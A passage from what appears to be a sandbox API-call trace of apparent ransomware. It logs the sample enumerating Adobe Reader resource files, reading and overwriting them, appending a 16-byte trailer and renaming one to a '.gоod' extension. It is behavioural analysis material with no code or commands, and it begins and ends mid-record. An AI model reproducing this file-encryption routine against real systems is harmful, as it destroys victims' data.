lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0103.100] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0103.100] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.100] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec5b0) returned 1 [0103.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec570) returned 1 [0103.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0103.100] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe", lpFilePart=0x0) returned 0x5a [0103.100] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.101] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.101] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea2858f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x29f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0103.101] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0103.101] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.101] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0103.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0103.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0103.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe", lpFilePart=0x0) returned 0x5a [0103.101] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.102] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.102] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea2858f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x29f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0103.102] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0103.102] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 0 [0103.102] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0103.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0103.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0103.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), fInfoLevelId=0x0, lpFileInformation=0x3642590 | out: lpFileInformation=0x3642590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea2858f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x29f9)) returned 1 [0103.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0103.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.103] GetFileType (hFile=0x6e0) returned 0x1 [0103.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.103] GetFileType (hFile=0x6e0) returned 0x1 [0103.103] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0103.103] ReadFile (in: hFile=0x6e0, lpBuffer=0x3642a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3642a18*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0103.105] CloseHandle (hObject=0x6e0) returned 1 [0103.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.105] GetFileType (hFile=0x6e0) returned 0x1 [0103.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.105] GetFileType (hFile=0x6e0) returned 0x1 [0103.105] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x29f9 [0103.105] WriteFile (in: hFile=0x6e0, lpBuffer=0x3643ce8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3643ce8*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0103.106] CloseHandle (hObject=0x6e0) returned 1 [0103.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.106] GetFileType (hFile=0x6e0) returned 0x1 [0103.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.107] GetFileType (hFile=0x6e0) returned 0x1 [0103.107] ReadFile (in: hFile=0x6e0, lpBuffer=0x3645fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3645fe0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0103.235] CloseHandle (hObject=0x6e0) returned 1 [0103.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.235] GetFileType (hFile=0x6e0) returned 0x1 [0103.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.235] GetFileType (hFile=0x6e0) returned 0x1 [0103.235] WriteFile (in: hFile=0x6e0, lpBuffer=0x34e7e38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x34e7e38*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0103.236] CloseHandle (hObject=0x6e0) returned 1 [0103.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt", lpFilePart=0x0) returned 0x65 [0103.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.gоod", lpFilePart=0x0) returned 0x6a [0103.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0103.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea2858f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x39bf9d7d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a09)) returned 1 [0103.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0103.236] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt.gоod")) returned 1 [0103.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0103.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), fInfoLevelId=0x0, lpFileInformation=0x34f9b48 | out: lpFileInformation=0x34f9b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008)) returned 1 [0103.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0103.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.237] GetFileType (hFile=0x6e0) returned 0x1 [0103.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.237] GetFileType (hFile=0x6e0) returned 0x1 [0103.237] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0103.237] ReadFile (in: hFile=0x6e0, lpBuffer=0x34f9fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x34f9fe0*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0103.239] CloseHandle (hObject=0x6e0) returned 1 [0103.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.239] GetFileType (hFile=0x6e0) returned 0x1 [0103.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.239] GetFileType (hFile=0x6e0) returned 0x1 [0103.239] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x3008 [0103.239] WriteFile (in: hFile=0x6e0, lpBuffer=0x34fb2b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x34fb2b8*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0103.240] CloseHandle (hObject=0x6e0) returned 1 [0103.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.241] GetFileType (hFile=0x6e0) returned 0x1 [0103.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.241] GetFileType (hFile=0x6e0) returned 0x1 [0103.241] ReadFile (in: hFile=0x6e0, lpBuffer=0x34fd5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34fd5b8*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0103.794] CloseHandle (hObject=0x6e0) returned 1 [0103.794] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.794] GetFileType (hFile=0x6e0) returned 0x1 [0103.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.794] GetFileType (hFile=0x6e0) returned 0x1 [0103.794] WriteFile (in: hFile=0x6e0, lpBuffer=0x31e95c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x31e95c8*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0103.795] CloseHandle (hObject=0x6e0) returned 1 [0103.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", 